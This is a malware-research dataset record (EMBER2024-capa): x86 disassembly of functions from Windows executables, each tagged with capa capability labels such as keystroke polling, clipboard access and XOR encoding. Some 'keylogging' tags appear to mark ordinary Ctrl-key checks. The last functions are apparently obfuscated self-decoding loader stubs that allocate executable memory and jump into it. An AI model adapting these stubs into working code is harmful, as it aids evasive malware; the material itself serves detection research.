joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48cce0
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov esi, ecx
mov ecx, 0x104
cmp eax, ecx
ja 0x48ce3a
je 0x48ce60
cmp eax, 0xa1
jb 0x48ce8c
cmp eax, 0xa2
jbe 0x48ce60
cmp eax, 0xa3
jbe 0x48ce8c
cmp eax, 0xa5
jbe 0x48ce60
cmp eax, 0xa6
jbe 0x48ce8c
cmp eax, 0xa8
jbe 0x48ce60
cmp eax, 0x100
jne 0x48ce8c
cmp dword [esi + 0x80], 0xffffffff
je 0x48ce60
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x48ce60
mov eax, dword [edi + 8]
sub eax, 0x21
je 0x48ce06
dec eax
jne 0x48ce60
mov eax, dword [esi + 0x80]
mov ecx, dword [esi + 0x7c]
lea edi, [eax + 1]
add ecx, eax
cmp edi, ecx
jge 0x48cdfe
mov eax, edi
cdq
idiv dword [esi + 0x7c]
mov eax, dword [esi]
mov ecx, esi
push edx
mov dword [ebp + 8], edx
call dword [eax + 0x254]
test eax, eax
jne 0x48cdbf
mov eax, dword [esi + 0x7c]
add eax, dword [esi + 0x80]
inc edi
cmp edi, eax
jl 0x48cd97
jmp 0x48cdfe
push dword [ebp + 8]
mov eax, dword [esi]
mov ecx, esi
mov dword [esi + 0x1e4], 1
call dword [eax + 0x1ec]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1e8]
mov ecx, eax
call fcn.00413405
push dword [esi + 0x80]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x248]
and dword [esi + 0x1e4], 0
xor eax, eax
inc eax
jmp 0x48ce94
mov eax, dword [esi + 0x80]
mov ecx, dword [esi + 0x7c]
lea edi, [ecx + eax - 1]
cmp edi, eax
jle 0x48cdfe
mov eax, edi
cdq
idiv dword [esi + 0x7c]
mov eax, dword [esi]
mov ecx, esi
push edx
mov dword [ebp + 8], edx
call dword [eax + 0x254]
test eax, eax
jne 0x48cdbf
dec edi
cmp edi, dword [esi + 0x80]
jg 0x48ce17
jmp 0x48cdfe
cmp eax, 0x200
jb 0x48ce8c
cmp eax, 0x202
jbe 0x48ce60
cmp eax, 0x203
jbe 0x48ce8c
cmp eax, 0x205
jbe 0x48ce60
add eax, 0xfffffdf9
cmp eax, 1
ja 0x48ce8c
mov ecx, dword [esi + 0xbc]
test ecx, ecx
je 0x48ce76
cmp dword [ecx + 0x20], 0
je 0x48ce76
push edi
call fcn.0043000e
mov ecx, dword [esi + 0xb8]
test ecx, ecx
je 0x48ce8c
cmp dword [ecx + 0x20], 0
je 0x48ce8c
push edi
call fcn.0043000e
push edi
mov ecx, esi
call fcn.004a6e63
pop edi
pop esi
pop ebp
ret 4
Function at 0x491597
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
xor ebx, ebx
push edi
mov dword [ebp - 4], ebx
call dword [eax + 0x190]
test al, al
jns 0x4915b9
or eax, 0xffffffff
jmp 0x4915be
mov eax, dword [0x5842a4]
mov edx, dword [esi]
lea ecx, [ebp - 4]
push ecx
push eax
mov ecx, esi
call dword [edx + 0x290]
push dword [ebp - 4]
mov dword [ebp - 8], eax
push 0x585678
call fcn.0041f190
mov edi, eax
pop ecx
pop ecx
cmp edi, esi
je 0x49165b
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jl 0x49165b
cmp edi, ebx
je 0x491610
mov eax, dword [edi]
push ebx
mov ecx, edi
call dword [eax + 0x200]
push eax
push 0x585ddc
call fcn.0041f190
pop ecx
pop ecx
mov ebx, eax
cmp dword [ebp - 8], 2
jne 0x491664
test ebx, ebx
je 0x491647
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x198]
test al, 0x40
je 0x49165b
cmp dword [ebp - 4], 0
je 0x491647
mov eax, dword [ebx]
push esi
mov ecx, ebx
call dword [eax + 0x224]
mov ecx, dword [ebp + 8]
neg eax
sbb eax, eax
inc eax
mov dword [ecx], eax
mov eax, esi
jmp 0x49165d
mov eax, dword [esi]
push 5
push 0
push edi
mov ecx, esi
call dword [eax + 0x1d0]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
cmp dword [ebp - 8], 3
jne 0x49165b
test edi, edi
je 0x49165b
mov eax, dword [edi]
push esi
mov ecx, edi
call dword [eax + 0x15c]
test eax, eax
je 0x49165b
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x164]
test eax, eax
je 0x49165b
mov eax, dword [esi]
push 0
mov ecx, esi
call dword [eax + 0x218]
mov eax, dword [esi]
push 0
push 1
push 5
push edi
mov ecx, esi
call dword [eax + 0x328]
mov edx, dword [ebp + 8]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
jmp 0x49165d
Function at 0x494f5e
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
test byte [0x59c16c], 1
push ebx
push esi
push edi
mov ebx, ecx
jne 0x494f8d
or dword [0x59c16c], 1
mov ecx, 0x59c168
call fcn.00401d40
push 0x53a5df
call fcn.0050a33d
pop ecx
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x494f99
call fcn.0041694b
mov eax, dword [ebx + 0x318]
test eax, eax
je 0x495012
cmp dword [eax + 0x20], 0
je 0x495012
test eax, eax
je 0x494fb0
mov eax, dword [eax + 0x20]
cmp dword [edi], eax
jne 0x495012
mov eax, dword [edi + 4]
dec eax
je 0x494ff1
dec eax
je 0x494fc7
dec eax
jne 0x495012
mov esi, 0x428e
jmp 0x494ff6
push 0x11
mov esi, 0x3ea1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x494ff6
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x31c]
test eax, eax
je 0x494ff6
add esi, 3
jmp 0x494ff6
mov esi, 0x3ea0
push esi
mov ecx, 0x59c168
call fcn.00401a30
test eax, eax
je 0x494f94
mov eax, dword [0x59c168]
mov dword [edi + 0xc], eax
xor eax, eax
inc eax
jmp 0x495014
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4959c3
Capabilities:
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
xor ecx, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_ScreenToClient]
mov dword [ebx + 0x9c], ecx
cmp dword [ebx + 0x90], ecx
je 0x495a43
cmp dword [ebp + 0xc], ecx
jne 0x495a43
cmp dword [ebx + 0x94], ecx
jne 0x495a43
mov eax, dword [ebx + 0x20]
cmp eax, ecx
je 0x495a39
cmp eax, 0xffffffff
je 0x495a39
lea eax, [ebp - 8]
push eax
call esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x20]
call edi
push dword [ebp - 4]
lea ecx, [ebx + 0xc8]
push dword [ebp - 8]
call fcn.0040da79
mov dword [ebx + 0x9c], eax
test eax, eax
jne 0x495a43
xor eax, eax
jmp 0x495b83
mov dword [ebx + 0x9c], 1
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0xec]
test eax, eax
je 0x495a7e
cmp dword [ebp + 0xc], 0
jne 0x495a7e
lea eax, [ebp - 8]
push eax
call esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x20]
call edi
push dword [ebp - 4]
lea ecx, [ebx + 0xd8]
push dword [ebp - 8]
call fcn.0040da79
test eax, eax
jne 0x495a32
xor ecx, ecx
cmp dword [ebx + 0x9c], ecx
jne 0x495aa4
mov eax, dword [ebx + 0x20]
cmp eax, ecx
jbe 0x495aa4
cmp eax, 0xffffffff
je 0x495aa4
cmp dword [ebx + 0x90], ecx
jne 0x495aa4
cmp dword [ebx + 0xa8], ecx
je 0x495a32
push dword [ebx + 0x6c]
push 0x58550c
call fcn.0041f190
lea esi, [ebx + 0x8c]
mov dword [ebp - 4], eax
mov eax, dword [esi]
xor edi, edi
pop ecx
pop ecx
cmp eax, edi
je 0x495add
mov dword [eax + 0xf8], edi
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x60]
mov ecx, dword [ebp - 4]
mov dword [esi], edi
cmp ecx, edi
je 0x495b43
push edi
jmp 0x495b3e
push dword [ebx + 0x6c]
push 0x585160
call fcn.0041f190
pop ecx
pop ecx
cmp dword [ebp + 0xc], edi
je 0x495b09
cmp eax, edi
je 0x495b09
cmp dword [0x59aa74], edi
jne 0x495b09
push 1
push ebx
mov ecx, eax
call fcn.0047e7ec
jmp 0x495b36
mov ecx, dword [ebp - 4]
cmp ecx, edi
je 0x495b21
push edi
call fcn.0042f5ac
cmp eax, edi
je 0x495b21
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x58]
push dword [ebp + 8]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0xc8]
test eax, eax
je 0x495a32
mov ecx, dword [ebp - 4]
cmp ecx, edi
je 0x495b43
push ebx
call fcn.00432176
cmp dword [ebx + 0x6c], edi
je 0x495b80
lea esi, [ebx + 0x54]
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004227b8
mov eax, dword [eax + 0x94]
push eax
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push 0x401
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx + 0x6c]
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_RedrawWindow]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4a9f6c
Capabilities:
Create thread

Disassembly:
push 0
mov eax, 0x52d4f5
call fcn.0050e882
xor edi, edi
cmp dword [0x58505c], edi
je 0x4aa035
cmp dword [0x585c88], 0xfffffffe
jne 0x4aa022
cmp dword [ebp + 8], 0xffffffff
je 0x4aa035
test byte [0x59c538], 1
mov esi, 0x59c518
jne 0x4a9fcb
or dword [0x59c538], 1
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.00440c7a
push 0x53a65f
call fcn.0050a33d
or dword [ebp - 4], 0xffffffff
pop ecx
mov ecx, esi
call fcn.00440cd1
cmp dword [0x59c514], edi
je 0x4a9fdf
call fcn.0041694b
push edi
push edi
push 0x4a9f14
call fcn.00512822
add esp, 0xc
mov dword [0x59c514], eax
cmp eax, edi
jbe 0x4aa00f
cmp eax, 0xffffffff
je 0x4aa00f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [ebp + 8]
mov dword [0x585c88], eax
jmp 0x4aa015
mov dword [0x59c514], edi
push 0x59c520
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x4aa035
mov eax, dword [ebp + 8]
mov dword [0x585c88], eax
cmp eax, 0xffffffff
jne 0x4aa035
mov dword [0x59c514], edi
call fcn.0050e95a
ret
Function at 0x4e3974
Capabilities:
Get common file path

Disassembly:
push 0x120
mov eax, 0x52f9e1
call fcn.0050e8eb
mov esi, ecx
mov dword [ebp - 0x128], esi
call fcn.004e9370
push 0x15c
call fcn.0040c2f6
pop ecx
mov ecx, eax
mov dword [ebp - 0x124], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp ecx, ebx
je 0x4e39b8
mov eax, dword [esi + 4]
push ebx
push eax
call fcn.004eab63
jmp 0x4e39ba
xor eax, eax
or dword [ebp - 4], 0xffffffff
push eax
mov ecx, esi
call fcn.004e9342
call fcn.0041c3be
mov eax, dword [eax + 4]
mov edi, dword [eax + 0x88]
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov byte [ebp + esi - 0x114], 0x5c
inc esi
mov dword [ebp - 0x124], esi
mov byte [ebp + esi - 0x114], bl
mov dword [ebp - 0x120], ebx
cmp edi, ebx
je 0x4e3b54
cmp dword [edi + 4], ebx
jle 0x4e3b54
lea ecx, [ebp - 0x118]
call fcn.00401d40
mov edx, dword [edi]
xor eax, eax
inc eax
push eax
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x114]
push eax
push ebx
lea eax, [ebp - 0x118]
push eax
mov ecx, edi
call dword [edx + 8]
test eax, eax
je 0x4e3b38
lea ecx, [ebp - 0x11c]
call fcn.00401d40
mov eax, dword [ebp - 0x120]
mov byte [ebp - 4], 2
cmp eax, 9
jne 0x4e3a89
push dword [ebp - 0x118]
lea eax, [ebp - 0x11c]
push 0x555000
push eax
call fcn.004034d0
add esp, 0xc
jmp 0x4e3abb
jge 0x4e3aa9
push dword [ebp - 0x118]
inc eax
push eax
lea eax, [ebp - 0x11c]
push str._d__s
push eax
call fcn.004034d0
add esp, 0x10
jmp 0x4e3abb
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x11c]
call fcn.004017d0
push 0x15c
call fcn.0040c2f6
pop ecx
mov dword [ebp - 0x12c], eax
mov byte [ebp - 4], 3
test eax, eax
je 0x4e3adf
mov ecx, eax
call fcn.004bc8df
mov esi, eax
jmp 0x4e3ae1
xor esi, esi
push dword [ebp - 0x11c]
mov eax, dword [esi]
mov ecx, esi
mov byte [ebp - 4], 2
call dword [eax + 0x10]
mov eax, dword [esi]
lea ecx, [ebx + 0xe110]
push ecx
mov ecx, esi
call dword [eax + 0xc]
push ebx
mov ecx, edi
call fcn.0041b6aa
mov eax, dword [eax]
mov edx, dword [esi]
push eax
mov ecx, esi
call dword [edx + 0x24]
mov ecx, dword [ebp - 0x128]
push esi
call fcn.004e9342
mov ecx, dword [ebp - 0x11c]
inc dword [ebp - 0x120]
add ecx, 0xfffffff0
call fcn.00401d70
mov esi, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x118]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401d70
inc ebx
cmp ebx, dword [edi + 4]
jl 0x4e3a22
call fcn.0050e96e
ret
Function at 0x4e84d3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e84eb
mov edi, dword [esi + 0xc]
jmp 0x4e852b
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e8504
call fcn.0041481c
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e8519
call fcn.0041481c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e852b
call fcn.0041481c
call fcn.0041c3be
cmp dword [eax + 0x3c], 0
je 0x4e8540
push edi
mov ecx, ebx
call fcn.004e732e
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e83f9
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x4e855e
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x5c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e856a
mov edi, eax
mov dword [ebx + 0x5c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4ef8b6
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebx + 4], 0x20a
push esi
mov esi, ecx
jne 0x4ef900
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4ef900
call fcn.004ef16f
test eax, eax
je 0x4ef900
push dword [ebx + 0xc]
mov eax, dword [esi + 0x54]
push dword [ebx + 8]
mov ecx, dword [eax + 0xb4]
push dword [ebx + 4]
call fcn.00401720
xor eax, eax
inc eax
jmp 0x4efb18
cmp dword [ebx + 4], 0x100
push edi
jne 0x4efb0f
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x12
call edi
test ax, ax
jl 0x4ef9fd
push 0x11
call edi
test ax, ax
jl 0x4ef9fd
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4ef9fd
mov eax, dword [ebx + 8]
cmp eax, 0xd
je 0x4ef970
cmp eax, 0x20
jbe 0x4ef9fd
cmp eax, 0x24
jbe 0x4ef963
cmp eax, 0x26
je 0x4ef963
cmp eax, 0x28
jne 0x4ef9fd
call fcn.004ef16f
test eax, eax
je 0x4ef9fd
mov ecx, esi
call fcn.00413405
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
call fcn.004ef16f
test eax, eax
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
je 0x4ef9a5
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.00401720
jmp 0x4efb0a
call fcn.00411099
test eax, eax
je 0x4efb0a
mov eax, dword [esi + 0x54]
add eax, 0xb8
push eax
mov ecx, esi
call fcn.004110fe
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 0xb4]
test eax, eax
jne 0x4ef9d3
xor edi, edi
jmp 0x4ef9d6
mov edi, dword [eax + 0x20]
mov esi, dword [esi + 0x54]
mov ecx, dword [esi + 0xb4]
movzx esi, word [esi + 0x20]
call fcn.00411099
push edi
push esi
push 0x111
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x4efb0a
mov eax, dword [ebx + 8]
sub eax, 9
je 0x4efad9
sub eax, 0x12
je 0x4efab1
sub eax, 0xb
je 0x4efa1f
dec eax
dec eax
jne 0x4efb0f
push 0x12
call edi
test ax, ax
jl 0x4efb0f
push 0x11
call edi
test ax, ax
jl 0x4efb0f
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4efb0f
call fcn.004ef16f
test eax, eax
jne 0x4efb0a
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
push 1
call fcn.004ef119
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 0xb4]
push dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
call edi
push eax
call fcn.0040fcd6
test eax, eax
je 0x4efb0a
mov esi, dword [esi + 0x54]
lea ebx, [esi + 0x90]
mov esi, dword [esi + 0xb4]
push dword [esi + 0x20]
call edi
push eax
call fcn.0040fcd6
push 1
push ebx
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x4efb0a
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4efac5
push 0
call fcn.004ef119
mov ecx, esi
call fcn.0041081c
test eax, eax
je 0x4efb0f
mov ecx, esi
call fcn.0041081c
jmp 0x4efb03
push dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
call edi
push eax
call fcn.0040fcd6
test eax, eax
je 0x4efb0f
push dword [esi + 0x20]
call edi
push eax
call fcn.0040fcd6
push 0
push esi
mov ecx, eax
call fcn.00419df2
mov ecx, eax
call fcn.00413405
xor eax, eax
inc eax
jmp 0x4efb17
push ebx
mov ecx, esi
call fcn.0040dadc
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x4fcd86
Capabilities:
Log keystrokes via polling
Open clipboard
Write clipboard data

Disassembly:
push 4
mov eax, 0x52d66f
call fcn.0050e882
mov edi, ecx
mov esi, dword [ebp + 8]
cmp dword [esi + 4], 0x100
jne 0x4fce5c
mov ebx, dword [esi + 8]
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
and eax, 0x8000
je 0x4fce5c
cmp ebx, 0x43
je 0x4fcdc8
cmp ebx, 0x2d
jne 0x4fce5c
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4fce5c
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ecx, [ebp - 0x10]
call fcn.00401d40
movzx ecx, byte [edi + 0xae]
and dword [ebp - 4], 0
push ecx
lea eax, [edi + 0xac]
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x10]
push str.RGB__d___d___d_
push eax
call fcn.004034d0
mov esi, dword [ebp - 0x10]
mov eax, dword [esi - 0xc]
add esp, 0x14
inc eax
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
or dword [ebp - 4], 0xffffffff
lea ecx, [esi - 0x10]
call fcn.00401d70
mov esi, dword [ebp + 8]
push esi
mov ecx, edi
call fcn.0047d564
call fcn.0050e95a
ret 4

Function at 0x504ef7
Capabilities:
Log keystrokes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
call dword [eax + 0x150]
mov edi, eax
movzx eax, word [ebp + 8]
push 2
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp byte [ebp + 0xc], 0
jne 0x504f37
test edi, edi
jl 0x504f37
cmp al, 0x20
je 0x504f2c
cmp word [ebp + 8], 0x71
jne 0x504f37
mov eax, dword [esi]
push edi
mov ecx, esi
call dword [eax + 0x168]
pop edi
pop esi
pop ebp
ret 8

Function at 0x50a0dc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x587770]
jne 0x50a0e6
repz ret
jmp fcn.005137c4
Function at 0x520973
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00513f07
and dword [ebp - 4], 0
cmp dword [0x59e244], 0
mov ebx, eax
jne 0x520a24
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x520ad5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x561498
push edi
call esi
test eax, eax
je 0x520ad5
push eax
call fcn.00513e95
mov dword [esp], 0x561488
push edi
mov dword [0x59e244], eax
call esi
push eax
call fcn.00513e95
mov dword [esp], 0x561474
push edi
mov dword [0x59e248], eax
call esi
push eax
call fcn.00513e95
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x59e24c], eax
call esi
push eax
call fcn.00513e95
pop ecx
mov dword [0x59e254], eax
test eax, eax
je 0x520a24
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00513e95
pop ecx
mov dword [0x59e250], eax
mov eax, dword [0x59e250]
cmp eax, ebx
je 0x520a7c
cmp dword [0x59e254], ebx
je 0x520a7c
push eax
call fcn.00513f10
push dword [0x59e254]
mov esi, eax
call fcn.00513f10
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x520a7c
test edi, edi
je 0x520a7c
call esi
test eax, eax
je 0x520a73
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x520a73
test byte [ebp - 0xc], 1
jne 0x520a7c
or dword [ebp + 0x10], 0x200000
jmp 0x520ab5
mov eax, dword [0x59e248]
cmp eax, ebx
je 0x520ab5
push eax
call fcn.00513f10
pop ecx
test eax, eax
je 0x520ab5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x520ab5
mov eax, dword [0x59e24c]
cmp eax, ebx
je 0x520ab5
push eax
call fcn.00513f10
pop ecx
test eax, eax
je 0x520ab5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x59e244]
call fcn.00513f10
pop ecx
test eax, eax
je 0x520ad5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x520ad7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x109bdf50
Capabilities:
Encode data using xor

Disassembly:
jmp 0x109bdf5a
pushal
call 0x109bdf60
pop ebp
sub ebp, 0x10
sub ebp, 0x9bdf50
mov al, byte [esp + 0x28]
sub byte [eax], al
add byte [eax], al
cmp al, 1
je 0x109bdf84
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x109bdf8d
mov eax, 0x9bdf50
add eax, ebp
add eax, 0x63
mov ecx, 0x5cc
mov edx, 0xd41bcd57
xor byte [eax], dl
inc eax
dec ecx
jne 0x109bdfa4
jmp 0x109bdfb7
fcomp qword [edx + 0x576bdedc]
push edi
push edi
salc
xchg esi, eax
scasd eax, dword es:[edi]
push edi
push edi
push edi
push esp
lcall 0xed57, 0x575753ef
jg 0x109be026
push edi
push edi
mov al, byte [0xdc9f54b5]
salc
pop ebx
push edi
push edi
push edi
push esp
xchg edx, eax
pop es
fidiv dword [ebx]
jae 0x109bdf8d
ficom word [ebx + 0x73]
aas
jmp 0x109bdf70
test al, 0xa
xchg ebp, eax
pop ebx
push edi
invalid
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409e8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x409e9b
pop dword [ebp - 0x44]
mov eax, 0xf2947f0c
add eax, 0xdac1f8f
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x39d18c49
add dword [ebp - 0x54], 0x1480b902
mov dword [ebp - 0x50], 0xe7063278
sub dword [ebp - 0x50], 0xb4d2e633
mov dword [ebp - 0x4c], 0x556b435
add dword [ebp - 0x4c], 0x46f58ff9
mov dword [ebp - 0x48], 0xef17d0fb
add dword [ebp - 0x48], 0x10e82f05
lea eax, [ebp - 0x54]
push eax
mov eax, 0x65ae0740
add eax, 0x9a92c914
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x557af6c4
add dword [ebp - 0x54], 0x1ef77292
mov dword [ebp - 0x50], 0x1c362836
sub dword [ebp - 0x50], 0xdac9c6c1
mov dword [ebp - 0x4c], 0xcb4cdd2f
sub dword [ebp - 0x4c], 0x67dd70c3
mov dword [ebp - 0x48], 0x20d10f54
sub dword [ebp - 0x48], 0x20d10f54
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x3eae8ade
sub eax, 0x3e6dba92
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x35d42
push 0
call eax
mov ecx, 0x38c5
xor ebx, ebx
add ebx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x44]
mov edx, 0x63a474fd
sub edx, 0x91f1acb9
sub dword [ebp - 0x24], 0xaace49e5
mov esi, dword [edi]
add dword [ebp - 0x40], 0xa0906d2d
add esi, edx
mov dword [ebp - 0x30], 0xeffbe96c
mov dword [ebx], esi
xor dword [ebp - 0x20], esi
add ebx, 0xd65c573
add ebx, 0xf29a3a91
add edi, 0x36a36baf
add edi, 0xc95c9455
loop 0x409fb3
add eax, 0x39ed5761
add eax, 0xc6137e86
mov ebx, eax
add eax, 0xdc02e7fc
sub eax, 0xdc02e7f7
mov ecx, 0x3cc6fb28
sub ecx, 0x3c86fb28
add ecx, dword [ebp - 0x44]
call ebx
leave
